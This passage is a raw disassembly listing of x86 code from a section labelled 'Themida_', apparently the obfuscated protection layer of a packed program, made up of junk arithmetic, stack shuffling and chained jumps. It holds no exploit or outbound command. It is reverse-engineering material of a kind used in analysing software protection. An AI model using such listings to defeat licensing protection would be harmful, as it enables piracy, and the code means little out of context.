		jmp	loc_5580DF
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552D10


loc_555407:				; CODE XREF: sub_552D10+34j
		mov	[esp+0Ch+var_C], esi
		push	ecx
		mov	ecx, 3FE92AFEh
		mov	esi, ecx
		jmp	loc_55B682
; END OF FUNCTION CHUNK	FOR sub_552D10
; ---------------------------------------------------------------------------


loc_555417:				; CODE XREF: Themida_:005556FAj
		pop	esp
		jmp	loc_552EB7
; ---------------------------------------------------------------------------


loc_55541D:				; CODE XREF: Themida_:0055603Ej
		push	edx
		mov	dl, 0B3h
		jmp	loc_5588CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_555425:				; CODE XREF: sub_55D40D-358Aj
		pop	edx
		push	ebp
		mov	ebp, 4
		jmp	loc_55C3CA
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551501


loc_555431:				; CODE XREF: sub_551501+B288j
		mov	ebx, [esp+0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_55C36C
; END OF FUNCTION CHUNK	FOR sub_551501

; =============== S U B	R O U T	I N E =======================================



sub_555449	proc near		; DATA XREF: Themida_:00551220o

; FUNCTION CHUNK AT 0055CA5D SIZE 00000005 BYTES

		push	small word ptr [edx]
		jmp	loc_55CA5D
sub_555449	endp

; ---------------------------------------------------------------------------


loc_555451:				; CODE XREF: Themida_:00553CEEj
		mov	ebp, 0DC8E99CDh
		add	ecx, ebp
		jmp	loc_552EE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55545D:				; CODE XREF: sub_55A4DA-7A6Bj
		add	eax, ecx
		push	[esp+4+var_4]
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_558B02
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_55547D:				; CODE XREF: Themida_:00556DB5j
		add	ebx, 91B4DD6Dh
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		inc	edi
		neg	edi
		jmp	loc_55ABCC
; ---------------------------------------------------------------------------


loc_555496:				; DATA XREF: Themida_:0055136Do
		neg	word ptr [esp]
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5554A0:				; CODE XREF: sub_55ABF6+2F70j
		xchg	ebp, [esp-0Eh+arg_8+2]
		pop	esp
		mov	[esp-12h+arg_C+2], ebx
		push	ebp
		sub	esp, 4
		mov	[esp-0Ah+arg_4+2], edi
		jmp	loc_55D59A
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_5554B6:				; CODE XREF: sub_559249-5DF5j
		and	eax, ecx
		jmp	loc_55883D
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_5554BD:				; CODE XREF: sub_557D5E-5E8Aj
		add	ecx, 288E643Ah
		pop	edi
		push	esi
		mov	esi, 65074C63h
		sub	eax, esi
		jmp	loc_558D57
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_5554D1:				; CODE XREF: sub_55A4DA-5F21j
		sub	eax, ebx
		jmp	loc_553260
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_5554D8:				; CODE XREF: sub_55314C+9BE0j
		add	edx, 5DC4447h
		sub	edx, 42960BF2h
		jmp	loc_55AEEA
; END OF FUNCTION CHUNK	FOR sub_55314C

; =============== S U B	R O U T	I N E =======================================



sub_5554E9	proc near		; DATA XREF: Themida_:005512ACo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551616 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005526D0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00552A74 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00553152 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00554587 SIZE 0000000B BYTES

		xchg	dl, [esp+0]
		jmp	loc_551616
sub_5554E9	endp

; ---------------------------------------------------------------------------


loc_5554F1:				; CODE XREF: Themida_:005592D7j
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_555501:				; CODE XREF: Themida_:0055870Ej
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_55402B
; ---------------------------------------------------------------------------


loc_555512:				; CODE XREF: Themida_:005579EBj
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	edi
		jmp	loc_558678
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555528:				; CODE XREF: sub_55ABF6-2BD0j
		push	esi
		mov	esi, 120736EAh
		sub	esi, 663ACCh
		jmp	loc_555291
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_555539:				; CODE XREF: sub_55CE17-5873j
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_55A77F
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555546:				; CODE XREF: sub_55ABF6-6FADj
		sub	ecx, 6BD04328h
		pop	eax
		jmp	loc_55DE25
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_555552:				; CODE XREF: sub_55CFFC-8A32j
		push	4DB14559h
		pop	esi
		sub	ebp, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		add	ebp, ebx
		jmp	loc_55BE14
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------


loc_55556A:				; CODE XREF: Themida_:0055A6CDj
		push	eax
		push	ecx
		mov	ch, 0E9h
		jmp	loc_55D5BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555573:				; CODE XREF: sub_55ABF6-1761j
		pop	ebx
		jmp	loc_55731B
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_555579:				; CODE XREF: sub_55611A+7116j
		add	esp, 4
		jmp	loc_556626
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555581:				; CODE XREF: sub_55ABF6-7D74j
		add	cl, 50h
		dec	cl
		and	cl, 92h
		jmp	loc_555853
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_55558E:				; CODE XREF: sub_55326E+3869j
		add	eax, 6A5D38D5h
		push	ebp
		mov	ebp, 7D2260A8h
		and	ebp, 7252407Ch
		or	ebp, 46131500h
		xor	ebp, 56D20666h
		sub	eax, ebp
		pop	ebp
		inc	eax
		shr	eax, 4
		sub	eax, 0B39948EEh
		and	[edx+30h], eax
		push	dword ptr [esp+0]
		pop	eax
		push	eax
		push	esp
		jmp	loc_5541BE
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_5555C5:				; CODE XREF: sub_559249+486Dj
		push	eax
		mov	eax, 4
		mov	ebx, eax
		mov	eax, [esp+20h+var_20]
		jmp	loc_553C76
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_5555D5:				; CODE XREF: Themida_:005577DBj
		mov	[esp], eax
		push	ebp
		jmp	loc_55A1F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_5555DE:				; CODE XREF: sub_559249-4748j
		push	edi
		push	[esp+8+var_4]
		pop	edi
		pop	[esp+8+var_8]
		pop	esp
		or	eax, eax
		jz	sub_552BA6
		push	dword ptr [edi+1Ch]
		push	71C9h
		mov	[esp+8+var_8], edx
		push	535h
		jmp	loc_5556E6
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552850


loc_555605:				; CODE XREF: sub_552850+9A05j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		jmp	loc_558847
; END OF FUNCTION CHUNK	FOR sub_552850
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_555619:				; CODE XREF: sub_551F97+BD8Fj
		add	edx, 0FFFFFFFFh
		shl	edx, 4
		jmp	loc_55C7FC
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
		push	0AC9h
		mov	[esp], eax
		mov	eax, [esp]
		push	57F7h
		jmp	loc_559684
; ---------------------------------------------------------------------------


loc_55563C:				; CODE XREF: Themida_:0055207Ej
		add	ebx, ebp
		pop	ebp
		sub	ebx, eax
		sub	ebx, 40746578h
		sub	ebx, 42E447Eh
		pop	small word ptr [eax]
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A1A7


loc_555655:				; CODE XREF: sub_55A1A7+8j
		mov	[esp+4+var_4], edx
		push	ecx
		mov	ch, 7
		mov	dh, ch
		jmp	loc_5568F6
; END OF FUNCTION CHUNK	FOR sub_55A1A7
; ---------------------------------------------------------------------------


loc_555662:				; CODE XREF: Themida_:00553848j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_559E2A
; ---------------------------------------------------------------------------


loc_555670:				; CODE XREF: Themida_:00556589j
		add	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_55CE7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555685:				; CODE XREF: sub_55ABF6-3EF5j
		sub	al, cl
		pop	ecx
		pop	ecx
		pop	cx
		add	al, 0EDh
		jmp	loc_555A96
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558657


loc_555692:				; CODE XREF: sub_558657-1422j
		push	esi
		mov	esi, 2FBC5F77h
		mov	ebx, 0AC9186h
		sub	ebx, esi
		pop	esi
		add	eax, ebx
		pop	ebx
		add	ebp, 0DE94131h
		add	ebp, eax
		sub	ebp, 0DE94131h
		jmp	loc_553360
; END OF FUNCTION CHUNK	FOR sub_558657
; ---------------------------------------------------------------------------


loc_5556B6:				; CODE XREF: Themida_:0055D036j
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebx
		mov	ebx, 41C05EC8h
		push	ebx
		push	ebp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_556E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5556D8:				; CODE XREF: sub_55ABF6-8648j
		mov	ebx, esi
		pop	esi
		add	ebx, 713A141Eh
		jmp	loc_55DBFD
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_5556E6:				; CODE XREF: sub_559249-3C49j
		mov	[esp+0Ch+var_C], esi
		mov	esi, 94A4AC4h
		shl	esi, 2
		jmp	loc_553C65
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_5556F6:				; CODE XREF: Themida_:0055982Bj
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_555417
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_5556FF:				; CODE XREF: sub_55CE17-568j
		neg	edi
		not	edi
		sub	edi, 1D4051B8h
		add	edi, 0A329F990h
		and	eax, edi
		mov	edi, [esp+0]
		add	esp, 4
		or	eax, eax
		jz	sub_556D34
		push	ebp
		jmp	loc_55B22A
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_555728:				; CODE XREF: sub_557D5E-4B63j
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55572D:				; CODE XREF: sub_55ABF6-5B60j
		add	esi, 4
		xchg	esi, [esp-6+arg_0+2]
		jmp	loc_55C305
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55573B:				; CODE XREF: sub_55CE17-3555j
		add	edx, 90194686h
		mov	eax, edx
		pop	edx
		sub	eax, 0FDA690Ah
		add	eax, edi
		jmp	loc_55A0BC
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555750:				; CODE XREF: sub_55ABF6+2D6Ej
		add	edx, 45C031E1h
		or	edx, 607647BEh
		add	edx, 88367E4h
		xor	edx, 0D9A2B9CBh
		add	ebx, edx
		pop	edx
		pop	ebp
		push	ebx
		push	2D35h
		mov	[esp-6+arg_0+2], eax
		jmp	loc_55AFB4
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55577A:				; CODE XREF: Themida_:0055AE13j
		mov	ecx, 42B1C15h
		and	esi, ecx
		pop	ecx
		push	edx
		mov	edx, 31EC596Dh
		xor	esi, edx
		pop	edx
		mov	ecx, esi
		pop	esi
		add	edx, 7E394498h
		jmp	loc_559990
; ---------------------------------------------------------------------------


loc_555799:				; CODE XREF: Themida_:0055410Fj
		sub	edx, ebp
		jmp	loc_55B662
; ---------------------------------------------------------------------------


loc_5557A0:				; CODE XREF: Themida_:0055D6ABj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_558E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5557B1:				; CODE XREF: sub_55ABF6-684Cj
		mov	[esp+0], ebx
		push	edi
		jmp	loc_55685B
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_5557BA:				; CODE XREF: Themida_:00553B0Fj
		mov	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 40D01D6Eh
		add	ebx, ecx
		pop	ecx
		push	41DAh
		mov	[esp], eax
		push	esi
		push	ecx
		mov	ecx, 487177C4h
		mov	esi, ecx
		jmp	loc_559B04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_5557DC:				; CODE XREF: sub_55CFFC-994j
		add	eax, esi
		sub	eax, 41002D96h
		mov	esi, [esp+8+var_8]
		add	esp, 4
		xchg	eax, [esp+4+var_4]
		jmp	loc_559AEB
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_5557F4:				; CODE XREF: sub_55326E+3A4j
		xor	ebx, [esp+0]
		pop	esp
		add	[esp-4+arg_4], ecx
		pop	ecx
		push	[esp-8+arg_4]
		pop	esi
		add	esp, 4
		push	3ED9h
		jmp	loc_552884
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D9AA


loc_555811:				; CODE XREF: sub_55D9AA-3D81j
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55D9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_555816:				; CODE XREF: sub_55CFFC-B99Cj
		mov	edx, esp
		add	edx, 4
		jmp	loc_558160
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------


loc_555823:				; CODE XREF: Themida_:0055D081j
		sub	esp, 2
		mov	[esp], bp
		mov	bp, 2DF2h
		add	bp, 5D3Ah
		dec	bp
		add	bp, 74D7h
		add	[esp+2], bp
		mov	bp, [esp]
		push	edx
		jmp	loc_5552A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_555849:				; CODE XREF: sub_55326E-57Dj
		mov	eax, ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_558612
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555853:				; CODE XREF: sub_55ABF6-566Dj
		push	edx
		push	2A94h
		mov	[esp+6+var_8+2], eax
		mov	al, 0EEh
		not	al
		push	edx
		jmp	loc_55BE5D
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_555866:				; CODE XREF: sub_559249+5A5j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+24h+var_24]
		jmp	loc_556E66
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_55587D:				; CODE XREF: Themida_:0055C41Dj
		sub	edx, eax
		pop	eax
		jmp	loc_55BD42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55703A


loc_555885:				; CODE XREF: sub_55703A-38A8j
		add	esp, 4
		push	ecx
		jmp	loc_557893
; END OF FUNCTION CHUNK	FOR sub_55703A

; =============== S U B	R O U T	I N E =======================================



sub_555891	proc near		; CODE XREF: sub_5523C6+803Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00553A24 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00553CD2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00556A56 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 0055C552 SIZE 00000023 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 1466387Bh
		shr	ebp, 8
		jmp	loc_553A24
sub_555891	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_5558A7:				; CODE XREF: sub_55BB30-5919j
		sub	eax, 28E7598Bh
		push	ebp
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	edx, 183176D6h
		mov	ebp, 2A13D6EAh
		add	ebp, edx
		pop	edx
		add	eax, ebp
		jmp	loc_55763C
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_5558C7:				; CODE XREF: sub_55163B+A93Fj
		add	ecx, 5BDD2406h
		push	edi
		jmp	loc_55960D
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5558D3:				; CODE XREF: sub_55ABF6-354Dj
		push	edx
		mov	edx, 70265540h
		add	ebp, edx
		pop	edx
		add	ebp, 472D3F94h
		sub	esi, 0DC83B56h
		add	esi, ebp
		jmp	loc_55DB51
; ---------------------------------------------------------------------------


loc_5558EF:				; CODE XREF: sub_55ABF6-7178j
		sub	bh, cl
		pop	ecx
		jmp	loc_554099
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5594EA


loc_5558F7:				; CODE XREF: sub_5594EA-4DCj
		xor	ebp, [esp+0]
		pop	esp
		btc	[esp-4+arg_0], ax
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_5594EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553571


loc_555906:				; CODE XREF: sub_553571+A36Cj
		pop	[esp+8+var_8]
		add	[esp+4+var_4], 4
		mov	ebx, [esp+4+var_4]
		jmp	loc_55CAFD
; END OF FUNCTION CHUNK	FOR sub_553571
; ---------------------------------------------------------------------------


loc_555915:				; CODE XREF: Themida_:005580FFj
		not	ebp
		jmp	loc_556ADC

; =============== S U B	R O U T	I N E =======================================



sub_55591C	proc near		; CODE XREF: sub_555D0D-C0Ej

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00551E1A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00552576 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00554D2C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00559226 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055939D SIZE 00000011 BYTES

		push	ebx
		jmp	loc_559226
sub_55591C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557093


loc_555922:				; CODE XREF: sub_557093+5216j
		add	edi, 4
		jmp	loc_55D70D
; END OF FUNCTION CHUNK	FOR sub_557093
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554085


loc_55592D:				; CODE XREF: sub_554085+28A0j
		mov	bl, al
		pop	eax
		jmp	loc_552B3B
; END OF FUNCTION CHUNK	FOR sub_554085
; ---------------------------------------------------------------------------


loc_555935:				; CODE XREF: Themida_:0055A551j
		push	ecx
		mov	ecx, 1FC014F8h
		add	ecx, 3B6606E0h
		shl	ecx, 1
		shr	ecx, 4
		sub	ecx, 0FAF172E5h
		mov	esi, ecx
		jmp	loc_55B71F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_555953:				; CODE XREF: sub_55326E-9C2j
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 7D581670h
		or	ecx, 22E4AD4h
		dec	ecx
		neg	ecx
		xor	ecx, 50D667DCh
		jmp	loc_55606A
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------


loc_55597C:				; CODE XREF: Themida_:0055849Fj
		neg	ebx
		jmp	loc_559C44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_555983:				; CODE XREF: sub_559249-6320j
		shr	ecx, 7
		push	ecx
		push	ebx
		push	ecx
		push	eax
		sub	esp, 4
		jmp	loc_55BAED
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5578E3


loc_555995:				; CODE XREF: sub_5578E3-1A23j
		not	edx
		or	edx, 74FA5EACh
		neg	edx
		sub	edx, 64A978BFh
		xor	edx, 0A5578840h
		add	eax, edx
		pop	edx
		xchg	eax, [esp-4+arg_0]
		jmp	loc_55C187
; END OF FUNCTION CHUNK	FOR sub_5578E3
; ---------------------------------------------------------------------------


loc_5559B6:				; CODE XREF: Themida_:0055D4DAj
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551EE6


loc_5559BB:				; CODE XREF: sub_551EE6+8564j
		add	ebx, 4
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		pop	esp
		and	eax, edx
		jmp	loc_559177
; END OF FUNCTION CHUNK	FOR sub_551EE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552118


loc_5559CF:				; CODE XREF: sub_552118+2E32j
		add	esp, 4
		push	edi
		mov	edi, 4ABF08B9h
		xor	edi, 5CB34489h
		jmp	loc_55CC8C
; END OF FUNCTION CHUNK	FOR sub_552118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552791


loc_5559E6:				; CODE XREF: sub_552791+10D1j
		sub	al, 15h
		and	bl, al
		pop	eax
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	al, 8Ah
		add	al, 81h
		and	bl, al
		mov	eax, [esp+8+var_8]
		add	esp, 4
		shl	bl, 1
		push	eax
		jmp	loc_552928
; END OF FUNCTION CHUNK	FOR sub_552791
; ---------------------------------------------------------------------------


loc_555A05:				; CODE XREF: Themida_:0055779Ej
		add	al, 90h
		sub	al, cl
		sub	al, 90h
		add	al, 0B9h
		pop	ecx
		add	bl, al
		pop	eax
		sub	bl, 0EDh
		jmp	loc_55672E
; ---------------------------------------------------------------------------


loc_555A19:				; CODE XREF: Themida_:005594CDj
		push	ecx
		jmp	loc_557074
; ---------------------------------------------------------------------------


loc_555A1F:				; CODE XREF: Themida_:0055705Ej
		sub	esi, 114F903h
		mov	eax, esi
		pop	esi
		add	ecx, eax
		jmp	loc_55C093
; ---------------------------------------------------------------------------


loc_555A2F:				; CODE XREF: Themida_:0055A28Cj
		sub	eax, ebx
		pop	ebx
		add	eax, ebx
		add	eax, 3C483CCCh
		push	619h
		mov	[esp], ecx
		mov	ecx, 2F80670Fh
		sub	ecx, 1DE6597Ah
		add	eax, 6F8668D5h
		add	eax, ecx
		sub	eax, 6F8668D5h
		pop	ecx
		pop	ebx
		push	edi
		mov	edi, 5CB50DE5h
		shr	edi, 8
		push	ecx
		jmp	loc_55B072
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_555A69:				; CODE XREF: sub_55AE3A-1E5Fj
		push	ecx
		jmp	loc_5543AF
; END OF FUNCTION CHUNK	FOR sub_55AE3A

; =============== S U B	R O U T	I N E =======================================



sub_555A6F	proc near		; CODE XREF: sub_552791+7E9Aj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055297D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00553DF4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005544E7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00554E19 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055502A SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005580BE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055817D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00559752 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00559E88 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055B8CF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055BAE2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055D3B1 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	cl, 99h
		jmp	loc_554E19
sub_555A6F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_555A7C:				; CODE XREF: sub_55C58B-5D35j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, 14A0091Ch
		jmp	loc_5567AF
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555A96:				; CODE XREF: sub_55ABF6-5569j
		push	ecx
		push	6C66h
		mov	[esp-4+arg_0], edx
		mov	dl, 3Bh
		mov	cl, dl
		jmp	loc_559454
; ---------------------------------------------------------------------------


loc_555AA8:				; CODE XREF: sub_55ABF6+42Bj
		push	esp
		pop	edi
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_553174
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556B0D


loc_555AB7:				; CODE XREF: sub_556B0D+3008j
		mov	[esp+0], ebx
		mov	bl, al
		push	eax
		push	ebx
		mov	ebx, 0
		mov	eax, ebx
		pop	ebx
		jmp	loc_5548B8
; END OF FUNCTION CHUNK	FOR sub_556B0D
; ---------------------------------------------------------------------------


loc_555ACB:				; CODE XREF: Themida_:00558F20j
		mov	esi, edi
		pop	edi
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		add	ebx, 36421FFEh
		sub	ebx, 6BE86C0Bh
		sub	ebx, eax
		add	ebx, 6BE86C0Bh
		sub	esp, 4
		jmp	loc_5543B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555B00:				; CODE XREF: sub_55ABF6-95E5j
		push	6A54h
		jmp	loc_553A91
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_555B0A:				; CODE XREF: Themida_:00558896j
		pop	esp
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B304


loc_555B10:				; CODE XREF: sub_55B304-3F2Aj
		mov	esi, 21F26CB2h
		jmp	sub_552D71
; END OF FUNCTION CHUNK	FOR sub_55B304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_555B1A:				; CODE XREF: sub_55C814-A259j
		pop	ecx
		pop	[esp+0Ch+var_C]
		pop	esp
		push	ebp
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 758E5CF8h
		mov	ebp, 4CD56FDh
		jmp	loc_55A085
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_555B38:				; CODE XREF: Themida_:00554349j
		add	edx, 4
		jmp	loc_5568DB

; =============== S U B	R O U T	I N E =======================================

